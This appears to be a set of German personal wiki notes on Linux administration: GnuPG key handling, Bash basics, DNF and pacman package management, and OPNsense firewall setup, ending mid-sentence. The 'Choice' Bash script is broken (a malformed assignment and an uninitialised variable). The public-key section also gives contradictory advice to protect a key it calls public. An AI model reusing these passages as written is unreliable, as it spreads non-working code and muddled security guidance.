gpg --import private-key.asc
GnuPG importiert den privaten Schlüssel in Ihren Schlüsselring auf dem Mac.
Datei entschlüsseln
Nachdem Sie Ihren privaten Schlüssel erfolgreich auf dem Mac importiert haben, können Sie die mit GnuPG verschlüsselte Datei entschlüsseln. Verwenden Sie dazu den folgenden Befehl:
gpg -d <verschlüsselte-Datei.gpg> > entschlüsselte-Datei
Ersetzen Sie <verschlüsselte-Datei.gpg>
durch den Dateinamen der verschlüsselten Datei und <entschlüsselte-Datei>
durch den gewünschten Dateinamen für die entschlüsselte Datei.
Beispiel:
gpg -d secret.txt.gpg > secret-decrypted.txt
Dieser Befehl entschlüsselt die Datei secret.txt.gpg
und speichert den entschlüsselten Inhalt in der Datei secret-decrypted.txt
.
Das war's! Sie haben erfolgreich Ihren privaten Schlüssel von Debian Linux auf einen Mac übertragen und eine mit GnuPG verschlüsselte Datei entschlüsselt. Beachten Sie bitte, dass der private Schlüssel sensitiv ist und mit Vorsicht behandelt werden sollte, um unbefugten Zugriff zu vermeiden
Öffentlichen Schlüssel exportieren
Um einen öffentlichen Schlüssel zu exportieren, müssen Sie den öffentlichen Schlüssel in einer geeigneten Datei speichern. Hier ist ein Beispiel, wie Sie dies mit dem GnuPG (GNU Privacy Guard) Tool tun können, das oft für die Verwaltung von Schlüsselpaaren verwendet wird:
Öffnen Sie ein Terminal auf Ihrem Linux Debian-System.
Überprüfen Sie zunächst, ob GnuPG installiert ist. Wenn es nicht installiert ist, können Sie es mit dem folgenden Befehl installieren:
sudo apt-get update
sudo apt-get install gnupg
Exportieren Sie den öffentlichen Schlüssel mit dem gpg Befehl und speichern Sie ihn in einer Datei. Hier ist ein Beispielbefehl:
gpg --output <Dateiname>.asc --armor --export <Key-ID>
Ersetzen Sie <Dateiname>
durch den gewünschten Dateinamen, unter dem der öffentliche Schlüssel gespeichert werden soll, und <Key-ID>
durch die ID des öffentlichen Schlüssels, den Sie exportieren möchten. Sie können die ID Ihres öffentlichen Schlüssels mit dem Befehl gpg --list-keys
anzeigen lassen.
Beachten Sie, dass der --armor-Schalter verwendet wird, um den exportierten Schlüssel im ASCII-Rüstungformat zu speichern, das häufig für die Weitergabe von Schlüsseln über Text basierte Kanäle wie E-Mail verwendet wird.
Nachdem der Befehl ausgeführt wurde, wird der öffentliche Schlüssel in der angegebenen Datei mit der Erweiterung .asc gespeichert. Sie können die Datei mit einem Texteditor öffnen, um den exportierten öffentlichen Schlüssel anzuzeigen oder ihn auf andere Weise weiterzugeben, z. B. per E-Mail oder auf einer Webseite.
Bitte beachten Sie, dass der öffentliche Schlüssel allgemein zugänglich ist und von jedermann verwendet werden kann, um Ihnen verschlüsselte Nachrichten zu senden oder Ihre Signaturen zu überprüfen. Schützen Sie daher den exportierten öffentlichen Schlüssel sorgfältig und übertragen Sie ihn sicher an die beabsichtigten Empfänger
Öffentlichen Schlüssel importieren
Um einen öffentlichen Schlüssel zu importieren und damit Dateien zu verschlüsseln, können Sie das GnuPG (GNU Privacy Guard) Tool verwenden. Hier ist ein Beispiel, wie Sie dies auf einem Linux Debian-System tun können:
Öffnen Sie ein Terminal auf Ihrem Linux Debian-System.
Überprüfen Sie zunächst, ob GnuPG installiert ist. Wenn es nicht installiert ist, können Sie es mit dem folgenden Befehl installieren:
sudo apt-get update
sudo apt-get install gnupg
Laden Sie den öffentlichen Schlüssel herunter oder erhalten Sie ihn von der Person, die Ihnen die Dateien verschlüsselt hat. Der öffentliche Schlüssel wird normalerweise in einer Datei mit der Erweiterung .asc oder .gpg bereitgestellt.
Importieren Sie den öffentlichen Schlüssel mit dem gpg Befehl. Hier ist ein Beispielbefehl:
gpg --import <Dateiname>.asc
Ersetzen Sie <Dateiname>
durch den tatsächlichen Namen der Datei, die den öffentlichen Schlüssel enthält.
GnuPG wird den öffentlichen Schlüssel importieren und in Ihrem GnuPG-Schlüsselbund speichern.
Sie können nun Dateien mit dem importierten öffentlichen Schlüssel verschlüsseln. Verwenden Sie dazu den gpg Befehl und geben Sie den Dateinamen als Argument an. Hier ist ein Beispielbefehl:
gpg --encrypt --recipient <Empfänger> <Dateiname>
Ersetzen Sie <Empfänger> durch den Namen oder die E-Mail-Adresse des Empfängers, für den Sie die Dateien verschlüsseln möchten, und <Dateiname> durch den Namen der Datei, die Sie verschlüsseln möchten.
GnuPG erstellt eine verschlüsselte Version der Datei mit der Erweiterung .gpg. Diese verschlüsselte Datei kann an den Empfänger gesendet werden. Der Empfänger kann die Datei dann mit seinem privaten Schlüssel entschlüsseln.
Bitte beachten Sie, dass der private Schlüssel, der zum Entschlüsseln der Dateien benötigt wird, geheim und sicher aufbewahrt werden muss und nicht an unbefugte Personen weitergegeben werden darf
Keyserver
Unter keyserver2.gnupg.org kann man seinen Key Hochladen und auch andere finden.
Schlüssel vertrauen
-
Schlüssel überprüfen: Überprüfen Sie Ihren eigenen Schlüssel, um sicherzustellen, dass er korrekt erstellt wurde. Sie können dies tun, indem Sie den Fingerabdruck Ihres Schlüssels überprüfen und ihn mit anderen vertrauenswürdigen Quellen, z.B. Ihrer eigenen Notiz oder einem vertrauenswürdigen Freund, abgleichen.
-
Vertrauenseinstellungen ändern: Ändern Sie die Vertrauenseinstellungen für Ihren eigenen Schlüssel. Verwenden Sie dazu den Befehl
gpg --edit-key
gefolgt von Ihrem Schlüsselnamen oder Fingerabdruck. Dies öffnet den GnuPG-Editor für Ihren Schlüssel. -
Vertrauensstellung festlegen: Im GnuPG-Editor können Sie die Vertrauensstellung für Ihren eigenen Schlüssel festlegen. Verwenden Sie den Befehl
trust
, gefolgt von der gewünschten Vertrauensstufe, die Sie für Ihren eigenen Schlüssel festlegen möchten. Zum Beispiel können Sie die Vertrauensstufe "Ultimate" (höchstes Vertrauen) festlegen, indem Sie5
eingeben und mit Enter bestätigen. -
Änderungen speichern: Speichern Sie die vorgenommenen Änderungen im GnuPG-Editor mit dem Befehl
save
und bestätigen Sie die Speicherung mit Enter. -
Editor verlassen: Verlassen Sie den GnuPG-Editor mit dem Befehl
quit
, um zum Hauptterminal zurückzukehren.
Schlüssel löschen
-
Geben Sie den Befehl
gpg --list-keys
ein, um eine Liste der vorhandenen Schlüssel in Ihrem GnuPG-Schlüsselbund anzuzeigen. Finden Sie den Schlüssel, den Sie entfernen möchten, anhand seines Namens oder seines Fingerabdrucks. -
Geben Sie den Befehl
gpg --delete-key
gefolgt von dem Namen oder Fingerabdruck des Schlüssels ein, den Sie entfernen möchten. Zum Beispiel:gpg --delete-key JohnDoe
odergpg --delete-key 0x12345678
.
Bash Scripting
Ein Script erstellen
Eine Bash-Datei muss die Endung .sh haben
Aufbau der Bash:
#! /bin/bash
echo Hello World!
Die Zeile #! /bin/bash
sagt dem System, welche Shell sie verwenden werden, in diesem Fall die Bash-Shell.
Script ausführbar machen
Damit jedes Skript ausgeführt werden kann muss es ausführbar gemacht werden.
chmod +x helloworld.sh
Script ausführen
./helloworld.sh
Programmbeispiele
Code | Kommentar |
$(date +%A) |
ruft die Systemvariable ab, die den aktuellen Wochentag speichert |
Variable übergeben
#! /bin/bash
echo Hello $1
./hello.sh Hermann
gibt Hallo Hermann auf dem Bildschirm aus
#! /bin/bash
firstname=$1
surname=$2
echo Hello $firstname $surname
Bei Variablen wird zwischen Name und '=' keine Leerzeichen gelassen!
Klammern
#! /bin/bash
firstnumber=$1
secondnumber=$2
echo The sum is $(($firstnumber+$secondnumber))
Input
#! /bin/bash
echo -n "Hello, what is your name? " #-n bewirkt, dass die Eingabe nicht in einer neuen Zeile stattfindet
read firstname
echo -n "Thank you, and what is your surname? "
read surname
clear
echo Hello $firstname $surname, how are you today?
If, then und Else
#! /bin/bash
echo -n "Hello, what is your Name "
read firstname
echo -n "And what is your surname? "
read surname
clear
if [ "$firstname" == "Hermann" ] && [ "$surname" == "Pelzer" ]
then echo "Awesome name," $firstname $surname
else echo Hello $firstname $surname, how are you today?
fi
While-Schleife
#! /bin/bash
count=0
while [ $count -lt 100 ];do
echo $count
let count=count+1
done
For-Schleife
#! /bin/bash
for count in {0..100}; do
echo $count
let count=count+1
done
Choice
#! /bin/bash
auswahl = 4
echo "1. Tails"
echo "2. Is"
echo "3. Awesome"
echo -n "Please choose an option (1, 2, or 3) "
while [ $choice -eq 4 ] ; do
read choice
if [ $choice -eq 1 ] ; then
echo "You have chosen: Tails"
else
if [ $choice -eq 2 ] ; then
echo "You have chosen: Is"
else
if [ $choice -eq 3 ] ; then
echo "You have chosen: Awesome"
else
echo "Pleas make a choise between 1 to 3"
echo "1. Tails"
echo "2. Is"
echo "3. Awesome"
echo -n "Please choose an option (1, 2, or 3) "
choice=4
fi
fi
fi
done
Fedora
Paketmanager in Fedora DNF
Using the DNF software package manager
DNF is a software package manager that installs, updates, and removes packages on Fedora and is the successor to YUM (Yellow-Dog Updater Modified). DNF makes it easy to maintain packages by automatically checking for dependencies and determines the actions required to install packages. This method eliminates the need to manually install or update the package, and its dependencies, using the rpm
command. DNF is now the default software package management tool in Fedora.
Usage
dnf
can be used exactly as yum
to search, install or remove packages.
To search the repositories for a package type:
# dnf search packagename
To install the package:
# dnf install packagename
To remove a package:
# dnf remove packagename
Other common DNF commands include:
-
autoremove
- removes packages installed as dependencies that are no longer required by currently installed programs. -
check-update
- checks for updates, but does not download or install the packages. -
downgrade
- reverts to the previous version of a package. -
info
- provides basic information about the package including name, version, release, and description. -
reinstall
- reinstalls the currently installed package. -
upgrade
- checks the repositories for newer packages and updates them. -
exclude
- exclude a package from the transaction.
For more DNF commands refer to the man pages by typing man dnf
at the command-line, or DNF Read The Docs
Automatic Updates
The dnf-automatic
package is a component that allows automatic download and installation of updates. It can automatically monitor and report, via e-mail, the availability of updates or send a log about downloaded packages and installed updates.
For more information, refer to the Read the Docs: DNF-Automatic page.
System Upgrades
The Fedora system can be upgraded directly with DNF, or with the DNF system upgrade plugin. Refer to the DNF System Upgrade document for more details.
Language Support Using DNF
DNF can be used to install or remove Language Support. A detailed description with a list of available languages can be found on Language Support Using Dnf page.
Plugins
The core DNF functionality can be extended with plugins. There are officially supported Core DNF plugins and also third-party Extras DNF Plugins. To install them, run
# dnf install dnf-plugins-core-PLUGIN_NAME
or
# dnf install dnf-plugins-extras-PLUGIN_NAME
Excluding Packages From Transactions
Sometimes it is useful to ignore specific packages from transactions, such as updates. One such case, for example, could be when an update includes a regression or a bug. DNF allows you to exclude a package from the transaction:
-
using the command line
sudo dnf upgrade --exclude=packagename
-
using its configuration files
You can add a line to /etc/dnf/dnf.conf
to exclude packages:
excludepkgs=packagename
This can also be added to the specific repository configuration files in /etc/yum.repos.d/
. Globs may be used here to list multiple packages, and each specification must be separated by a comma. If you have used this configuration, you can disable it in individual DNF commands using using the --disableexcludes
command line switch.
If you use a GUI update application which does not allow you to specify packages to exclude when they run, this method can be used.
Using the DNF Versionlock plugin
You can also use the DNF versionlock
plugin to limit the packages that are included in a transaction. It allows you to list what versions of particular packages should be considered in a transaction. All other versions of the specified packages will be ignored. The plugin is part of dnf-plugins-core
package and can be installed using the command below:
sudo dnf install 'dnf-command(versionlock)'
To lock the currently installed version of a package, use:
sudo dnf versionlock add package
To remove the version lock, use:
sudo dnf versionlock delete package
The list
command can be used to list all locked packages, while the clear
command will delete all locked entries.
References
Firewall
Opensense
pfSense
OpnSense installieren
Standard-User
installer
opnsense
root
opnsense
installieren
- Einloggen als installer
- Install ZFS
- stripe
- alles ganz normal
- Qemo auswählen
- Root Passwort ändern
- Complete install
Netzwerk einrichten
Proxmox Shell
vim /etc/network/interfaces
OpnSense Konfigurieren
Auf Proxmox muss QEMU Guast Agent aktiviert sein und auf OpnSense das Plugin installiert.
Videos:
https://www.youtube.com/watch?v=tVX2z85wGmg&t=2556
DNS Server
Entweder DNSforge direkt verwenden oder eben über einen Pi-Hole gehen.
Wichtig: Es sollte Allow DNS server lsit to bie overridden deaktivert werden.
Unbound DNS
Was ist das? Sollte eingeschaltet werden
Konfiguration
Network interfaces > LAN würde reichen
DHCP einstellen
Services > DHCPv4 > Enable DHCP
Range: 10 - 199 dann kann man feste IP-Adressen von 200 ab sauber verteilen
Firewall
NAT Port Forwarding
Dadurch kann man Ports auf diverse PCs weiterleiten
Firewall > NAT > Port Forward
Aliases
Namen zu Hosts zuteilen
- Name Eintragen
- Content: IP-Adresse des Hosts
Man könnte hier alles was über Port 80 rein kommt direkt an einen Reverse Proxy weiter leiten und so den nginx reverse Proxy hinter die Firewall packen
VLANs
Ein VLAN anlegen (Interfaces > Other Types > VLANS)
- Parent: Lan
- VLAN Tag: Zahl zwischen 1 und 4096
Im Anschluss muss das VLAN noch über Assignments an ein Interface verknüpfen
[opt1]
Enable
IPv4 Configuration Type: Static IPv4
IPv4 Adresse: Einstellen (z.B. 10.10.1.1
Danach muss noch DHCP in dem Net aktiviert werden.
deb installieren
man kann deb Dateien mit dem Befehl
dpkg -i Nessus.deb
installieren
Pacman
Installation
Pacman ist bereits Bestandteil jeder Arch Linux-Installation.
Die wichtigsten Pacman-Befehle
Für neue Arch Linux-AnwenderInnen seien zunächst die wichtigsten Pacman-Befehle angeführt.
Befehl | Beschreibung |
pacman -Syy | Update |
pacman -Syu | Upgrade |
pacman -S <Paket> | Installiert ein Paket |
pacman -R <Paket> | Deinstalliert ein Paket |
pacman -U <Paket-Dateiname> | Installation eines Paketes aus einer lokalen Datei (z.B. für ein Downgrade oder zur Installation selbst gebauter Pakete) |
Diese Befehle sind der Grundstock, um ein Arch-System einrichten und auf aktuellem Stand halten zu können.
Die Pacman-Syntax
Der Aufruf der Hauptoptionen wird mit einem Minuszeichen eingeleitet und beginnt immer mit einem Grossbuchstaben.
- S – Synchronisation der lokalen Paketdatenbank mit den Repositorien, welche in der Datei
/etc/pacman.conf
aktiviert sind (Sync)
- Q – Bezieht sich immer auf die lokale Paketdatenbank des Systems (Query)
- R – Dient zum Entfernen von installierten Paketen (Remove)
- D – Bearbeitung der lokalen Paketdatenbank (Database)
- U – Installiert Pakete aus einem lokalen Verzeichnis (Upgrade)
- F – Sucht das Paket, welches eine Datei beinhaltet (File)
Die vorangestellte Hauptoption kann mit weiteren Optionen in Kleinbuchstaben erweitert und spezifiziert werden, beispielsweise:
- s – Bewirkt eine Suche. Bei
-Ss
wird ein Paketname in der Paketdatenbank gesucht, Bei-Rs
werden die jeweils abhängigen Pakete gesucht und mit entfernt - y – Bewirkt eine Aktualisierung der Paketdatenbank (falls es tatsächlich Änderungen gibt)
- yy – Erzwingt die Aktualisierung der Paketdatenbank auch dann, wenn keine Updates vorhanden sind
Synchronisation und Installation von Paketen
Befehl | Beschreibung |
pacman -Syu | Führt eine komplette System-Aktualisierung aus |
pacman -S <Paket1 Paket2> | Eines oder mehrere Pakete installieren oder aktualisieren |
pacman -Sy | Lokale Datenbank aktualisieren |
pacman -Su | Alle installierten Pakete aktualisieren |
pacman -Syy | Lokale Datenbank komplett neu aufbauen und aktualisieren |
pacman -Syuu | Alle installierten Pakete downgraden (von Testing nach Core/Extra) |
pacman -S testing/<Paket> | Paket aus einem spezifischen Repo (hier: testing) installieren |
pacman -Sw <Paket> | Paket herunterladen, ohne es zu installieren |
Informationen zu installierbaren Paketen
Befehl | Beschreibung |
pacman -Ss <Paket> | Sucht nach installierbaren Paketen. Es reicht ein Teil des Paketnamens oder der Paketbeschreibung |
pacman -Sg | Sucht nach installierbaren Paketgruppen |
pacman -Sg <Paketgruppe> | Zeigt den Inhalt einer Paketgruppe |
pacman -Si <Paket> | Informationen zu (noch) nicht installierten Paketen anzeigen |
Verwaltung lokaler Pakete
Befehl | Beschreibung |
pacman -U <Paket-Dateiname> | Ein lokales Paket installieren (nicht aus einem Repo) |
pacman -D --asexplicit <Paket> | Status eines installierten Paketes auf „Ausdrücklich installiert“ setzen |
pacman -D --asdeps <Paket> | Status eines installierten Paketes auf „Installiert als Abhängigkeit“ setzen |
pacman -Scc | Leert das lokale Paketarchiv von Pacman vollständig (/var/cache/pacman/pkg) |
pacman -Sc | Löscht veraltete Pakete aus /var/cache/pacman/pkg sowie ungenutzte Repositorien aus /var/lib/pacman/sync. Vorsicht, behalten werden nur aktuell installierte Versionen – Vorversionen für ein Paket-Downgrade sind dann nicht mehr vorhanden. |
Pakete entfernen
Befehl | Beschreibung |
pacman -R <Paketname> | Deinstallation eines oder mehrerer Pakete (aus AUR oder Repos) |
pacman -Rs <Paketname> | Wie oben, zusätzlich werden alle abhängige Pakete gesucht und mit entfernt, falls diese nicht von einer anderen Anwendung gebraucht werden |
pacman -Rsc <Paketname> | Wie oben. Abhängigkeiten werden kaskadierend entfernt |
pacman -Rscn <Paketname> | Wie oben. Die Konfigurationsdateien der Anwendung werden mit entfernt |
pacman -Rdd <Paket> | Deinstallation eines Paketes ohne Prüfung bestehender Paketabhängigkeiten. Vorsicht, hierdurch kann die Konsistenz und Funktionstüchtigkeit der Systeminstallation beeinträchtigt werden! |
pacman -Rss <Paket> | Paket mit allen benötigten Abhängigkeiten und deren Abhängigkeiten entfernen |
Abfragen der lokalen Paketdatenbank
Befehl | Beschreibung |
pacman -Q | Zeigt alle installierten Pakete inklusive Versionsnummer auf dem System an |
pacman -Qi <Paket> | Informationen zu bereits installiertem Paket anzeigen |
pacman -Qs <Suchmuster> | Installierte Pakete nach Name oder einem Begriff in der Beschreibung durchsuchen. |
pacman -Qdt | Verwaiste Pakete anzeigen, die als Abhängigkeiten installiert wurden, aber nicht mehr von anderen Paketen benötigt werden |
pacman -Qet | Pakete anzeigen, die ausdrücklich installiert wurden, aber nicht von anderen als Abhängigkeit benötigt werden |
pacman -Ql <Paket> | Zeigt alle installierten Dateien des Pakets im System |
pacman -Qm | Pakete anzeigen, die sich in keinem aktivierten Repo laut /etc/pacman.conf befinden |
pacman -Qo <Pfad zur Datei> | Zeigt das Paket an, welches die gesuchte Datei enthält |
pacman -Sy && pacman -Qu | Aktualisiert die lokale Paketdatenbank und zeigt verfügbare Updates an |
pacman -Qk | grep warning | Überprüft alle Pakete auf fehlende Dateien und schränkt die Ausgabe auf Problempakete ein |
Paketdateien suchen
Befehl | Beschreibung |
pacman -Fy | Lokale Datenbank aktualisieren (wie -Sy) |
pacman -Fyy | Lokale Datenbank neu aufbauen und aktualisieren (wie -Syy) |
pacman -F <Datei> | Paket suchen das die Datei enthält |
pacman -Fx <Regex> | Wie -F, aber Suche mit regulären Ausdrücken (hilfreich, falls der vollständige Dateiname unbekannt ist) |
pacman -Fl <Paket> | Alle Dateien des Paketes anzeigen |
Es können auch mehrere Befehlsaufrufe kombiniert werden; hier z.B. zur vorhergehenden Prüfung und anschließenden Deinstallation aller verwaisten Pakete:
pacman -Qdtq pacman -Rsn $(pacman -Qdtq)
Paccache
Paccache ist ein Werkzeug zur Bereinigung des Pacman-Cache /var/cache/pacman/pkg
. Archivierte Pakete können hiermit differenzierter als mit pacman -Scc
bereinigt werden.
Um den Befehl nutzen zu können muss zuvor das Paket pacman-contrib
installiert werden.
Zur Bereinigung des Paket-Cache kann man beispielsweise so vorgehen:
du -sh /var/cache/pacman/pkg # Belegung des Cache-Speicherplatzes prüfen paccache -h # Befehlsübersicht paccache -dk2 # Testdurchlauf; Wieviel Platz kann eingespart werden? paccache -vrk2 # Entfernt Pakete aus dem Cache, behält die jüngsten 2 Versionen paccache -ruk0 # Alle Pakete aus dem Cache entfernen, die nicht (mehr) installiert sind
Zur automatischen Bereinugung gibt es einen Systemd Timer. Bei aktiviertem Timer wird der Cache wöchentlich mit paccache -r
bereinigt.
systemctl enable paccache.timer
Checkupdates
Mit Checkupdates lässt sich prüfen, ob Aktualisierungen für installierte Pakete verfügbar sind, ohne eine komplette System-Aktualisierung (pacman -Syu
) durchzuführen.
Um den Befehl nutzen zu können muss zuvor das Paket pacman-contrib
installiert werden.
checkupdates
Da die Prüfung auf Updates mit Checkupdates ohne Root-Rechte durchgeführt werden kann, eignet sich der Befehl sehr gut zur Verwendung in Conky und Scripts.
Pacman-Datenbank
Pacman speichert alle Paketinformationen in Form einer Vielzahl einzelner Dateien als logisch zusammengehörenden Datenbestand im Verzeichnis /var/lib/pacman
.
Installierbare Pakete:
Die Paketinformationen der in der Pacman-Konfigurationsdatei /etc/pacman.conf
aktivierten Repositorien (s.u.) werden im Verzeichnis /var/lib/pacman/sync
gespeichert. Für diese Repos werden von Pacman Dateien mit folgenden Dateiendungen angelegt:
<Repo>.sig
– PGP-Sicherheitssignatur; diese ist nur für inoffizielle Repos erforderlich und vorhanden (Textdatei)<Repo>.files
– Enthält die Textdateiendesc
undfiles
mit den entsprechenden Informationen für jedes einzelne im Repo verfügbare Paket (Gzip-Datei)<Repo>.db
– Enthält die Dateidesc
mit entsprechenden Informationen für jedes einzelne im Repo verfügbare Paket (Gzip-Datei)
Pacman-Befehle, die mit -S
oder -F
eingeleitet werden, beziehen sich auf diesen Bereich der Datenbank; er kann mit -Sy
aktualisiert und mit -Syy
neu generiert werden.
Installierte Pakete:
Die Paketinformationen der im System vorhandenen Pakete befinden sich im Unterverzeichnis /var/lib/pacman/local
. Für alle installierten Pakete werden dort gesonderte Verzeichnisse mit Namen und Version des Paketes angelegt; folgende Dateien sind darin enthalten:
desc
– Paketinformationen, welche mit dem Befehlpacman -Qi <Paketname>
abgerufen werden können (Textdatei)files
– Pfadangaben aller mit dem Paket installierten Dateien, die mit dem Befehlpacman -Fl <Paketname>
abgerufen werden können (Textdatei)mtree
– Zeit- und Größenangaben sowie Prüfsummen (Hashwerte) aller mit dem Paket installierten Dateien (Gzip-Datei)
Pacman-Befehle, die mit -Q
oder -D
eingeleitet werden, beziehen sich auf diesen Bereich der Datenbank. Bei Installationen und Deinstallationen erfolgt eine fortlaufende Aktualisierung. Dieser systembezogene Teil der Datenbank kann nicht neu generiert werden, da er Ausgangsreferenz der lokalen Paketverwaltung ist.
Konfiguration
Die Einstellungen für Pacman sind in der Datei /etc/pacman.conf
gespeichert und können dort angepasst werden.
Allgemeine Einstellungen
#RootDir = / #DBPath = /var/lib/pacman/ #CacheDir = /var/cache/pacman/pkg/ #LogFile = /var/log/pacman.log #GPGDir = /etc/pacman.d/gnupg/ HoldPkg = pacman glibc #XferCommand = /usr/bin/curl -C - -f %u > %o #XferCommand = /usr/bin/wget --passive-ftp -c -O %o %u #CleanMethod = KeepInstalled Architecture = auto
# Pacman won't upgrade packages listed in IgnorePkg and members of IgnoreGroup #IgnorePkg = #IgnoreGroup =
#NoUpgrade = #NoExtract =
- Pakete, die durch
HoldPkg
markiert sind, müssen vor dem Entfernen nochmals bestätigt werden. - Pakete, die mit
IgnorePkg
markiert sind, werden vom Update völlig ausgenommen. Dies betrifft auch alle damit verbundenen Abhängigkeiten. - Dateien, die durch
NoUpgrade
markiert sind, werden beim Update nicht überschrieben. Pacman legt stattdessen eine neue Datei im Formatdatei.pacnew
an. - Dateien, die durch
NoExtract
markiert sind, werden bei der Installation oder einem Update nicht installiert.
Seit der Version 4.1 unterstützt Pacman auch farbige Ausgaben. Dazu muss die Option #Color
auskommentiert werden.
Repositorien
Offizielle Arch Linux-Pakete sind einem von sechs unterschiedlichen Repositorien zugeordnet:
[core]
enthält grundlegende Programme, die zum Betrieb von Arch Linux unbedingt erforderlich sind.[extra]
enthält eine Vielzahl zusätzlicher, optionaler Anwendungen in der jeweils letzten stabilen Version. Hier liegen etwa auch die Pakete von KDE und GNOME.[testing]
enthält neue Versionen, die noch nicht hinreichend getestet wurden – mit anderen Worten: Dinge, die etwas kaputt machen könnten.[multilib]
enthält 32-Bit-Anwendungen, die auf x86_64-Systemen installiert werden sollen.[multilib-testing]
enthält noch nicht hinreichend getestete 32-Bit-Anwendungen, die auf x86_64-Systemen installiert werden sollen.
Repos festlegen
Die Konfiguration der /etc/pacman.conf
ist weitgehend selbsterklärend und erfolgt durch Ein- oder Auskommentierung bestehender Einträge sowie durch Hinzufügen zusätzlicher Einträge.
Inoffizielle Repos verwenden
Weitere Repos kann man beliebig anhängen, indem man Repo-Name und Server spezifiziert. Eine Liste inoffizieller Repos findet man im engl. Wiki.
Spiegelserver
Die Spiegelserver, von welchen Pacman die Pakete zur Installation und für Updates herunterladen soll, werden in der Datei /etc/pacman.d/mirrorlist
gespeichert; ein Auschnitt als Beispiel:
## Germany Server = http://mirror.23media.de/archlinux/$repo/os/$arch Server = http://mirror.gnomus.de/$repo/os/$arch #Server = https://mirror.bethselamin.de/$repo/os/$arch #Server = http://ftp.fau.de/archlinux/$repo/os/$arch
Die Wahl der Architektur und der Zugriff auf die Repos ist mit den Variablen $repo
und $arch
gekennzeichnet.
Pacman greift vorrangig auf den ersten einkommentierten Server-Eintrag zu. Sollte der Server nicht erreichbar sein oder ein Paket dort nicht vorgefunden werden, wird auf den nächsten Server zugegriffen. Für eine optimale Zugänglichkeit vom eigenen Standort aus ist die Wahl heimischer Spiegelserver ratsam.
Bei Veränderungen der weltweiten Spiegelserver werden von Pacman bei System-Updates automatisch neue Mirrorlisten als /etc/pacman.d/mirrorlist.pacnew
hinterlegt. Bei Bedarf kann man die darin enthaltenen deutschen Server auslesen:
awk '/Germany/{i=1;next}/^##/{i=0}i{print}' /etc/pacman.d/mirrorlist.pacnew
Tipp: Es reicht aus, nur wenige Spiegelserver in der Mirrorliste zu aktivieren und ggf. weitere, aber auskommentierte Server darunterstehend zu belassen. So kann der favorisierte Server – falls er sich nicht bewähren sollte – leicht durch einen anderen aus der auskommentierten „Vorratsliste“ ersetzt werden.
Optimale Spiegelserver
Die Spiegelserver unterscheiden sich in ihrer Aktualität und Geschwindigkeit. Relevante Messwerte sind:
- Completion: Die Anzahl erfolgreicher Verbindungen bei Tests des Spiegelservers in Prozent; bei weniger als 100% könnte der Server unzuverlässig sein
- Delay: Durchschnittliche Verzögerungdauer der letzten Synchronisation, diese sollte unter einer Stunde liegen
- Duration: Durchschnittliche Verbindungs- und Abbrufzeit in Sekunden(bruchteilen); ein hoher Wert kann auf eine Überlastung des Servers hindeuten
- Mirror Score: Eine grobe Berechnung des Rankings, das sich aus den vorgenannten Werten ergibt
Eine vollständige Übersicht an Messergebnissen findet man auf der Seite Mirror-Status.
Da die dort gelisteten Messergebnisse nicht dem eigenen Standort entsprechen, ist es sinnvoll, selbst Messungen durchzuführen. Das Paket pacman-contrib stellt hierfür das Tool Rankmirrors zur Verfügung. Mit folgendem Befehl können die Antwortzeiten der in der Mirrorliste einkommentierten Server geprüft werden:
rankmirrors -n 0 -t /etc/pacman.d/mirrorlist
Falls man differenzierte Vergleichsergebnisse wie z.B. einen „Mirror Score“ wünscht, kann man das Python-Script Reflector verwenden. Eine Liste von 10 deutschen Spiegelservern mit der schnellsten Downloadrate erhält man z.B. mit diesem Befehl:
reflector -c Germany -p http -p https --sort rate -n 10
Fügt man am Ende des Befehles die Option --info
hinzu, werden zusätzlich die auf der Seite „Mirror-Status“ verfügbaren Details angezeigt.
Mirrorliste aktualisieren
Solange die favorisierten Spiegelserver gut und verlässlich funktionieren, sind Aktualisierungen der Mirrorliste nicht erforderlich. Falls man die Datei /etc/pacman.d/mirrorlist
jedoch auf Basis möglichst optimaler Messwerte aktualisieren möchte, bieten sich die vorgenannten Verfahren an.
- Rankmirrors: Man kann die Antwortzeiten der deutschen Spiegelserver aus der Datei
mirrorlist.pacnew
messen, aus den Ergebnissen z.B. die 15 schnellsten Server extrahieren und von diesen wiederum die 4 besten Spiegelserver aktivieren – diese gründliche Messung dauert einen Moment:
awk '/Germany/{i=1;next}/^##/{i=0}i{print}' /etc/pacman.d/mirrorlist.pacnew | sed 's/^#//' > /tmp/mirror && rankmirrors -n 15 /tmp/mirror | sed '2,5!s/^S/#S/'
- Reflector: Man kann die deutschen Spiegelserver online abrufen, z.B. eine Kurzmessung der Downloadrate durchführen, 15 Server mit dem schnellsten Datendurchsatz extrahieren und von diesen die 4 besten Spiegelserver aktivieren:
reflector -c Germany -p http -p https --sort rate -n 15 | sed '11,14!s/^S/#S/'
Falls man eine Sortierung auf Basis des bei Mirror-Status abgerufenen „Mirror Score“ vornehmen möchte, kann man die Anweisung --sort rate
durch --sort score
ersetzen.
Hinweis: Beide oben angeführten Befehle geben die Resultate im Terminal aus. Um die vorhandene Mirrorliste zu ersetzten, kann als Ausgabeumleitung > /etc/pacman.d/mirrorlist
angefügt werden.
Mirrorliste erweitern
Eine weitere Möglichkeit besteht darin, einen favorisierten Spiegelserver in der Pacman-Konfigurationsdatei /etc/pacman.conf
vorzuschalten, zum Beispiel:
[core] Server = http://ftp-stud.hs-esslingen.de/pub/Mirrors/archlinux/$repo/os/$arch Include = /etc/pacman.d/mirrorlist
Hinweis: Wird ein Spiegelserver in /etc/pacman.conf
eingetragen, sollte unbedingt der gleiche Eintrag bei allen offiziellen Repos erfolgen ([core]
, [extra]
, [multilib]
). Ansonsten besteht die Gefahr, dass aufgrund unterschiedlicher Aktualität der Server versucht wird, nicht kompatible Paketversionen zusammenzuführen.
Keine partiellen Upgrades
Arch Linux wird als Rolling-Release fortlaufend aktualisiert. Sobald neue Versionen von Programmbibliotheken [1] in den Repositorien erscheinen, werden vom Arch-Entwicklungsteam alle Pakete, die sich auf diese Bibliothek beziehen, neu (auf)gebaut. Auf diese Weise wird sicher gestellt, dass alle Pakete aus den offiziellen Repos mit der veränderten Schnittstelle der neuen Version funktionieren.
Sollte man fälschlicherweise nur ein einzelnes Paket aktualisieren, werden mit diesem Paket bei Bedarf neue Versionen von Programmbibliotheken im System integriert. Andere bereits installierte und von einem Upgrade ausgenommene Pakete blieben jedoch weiterhin von älteren Versionen der Bibliotheken abhängig und kämen mit den veränderten Schnittstellen neuerer Versionen nicht zurecht. Aus diesem Grunde werden partielle Upgrades nicht unterstützt.
Bevor ein neues Paket installiert wird, sollte immer zunächst mit pacman -Syu
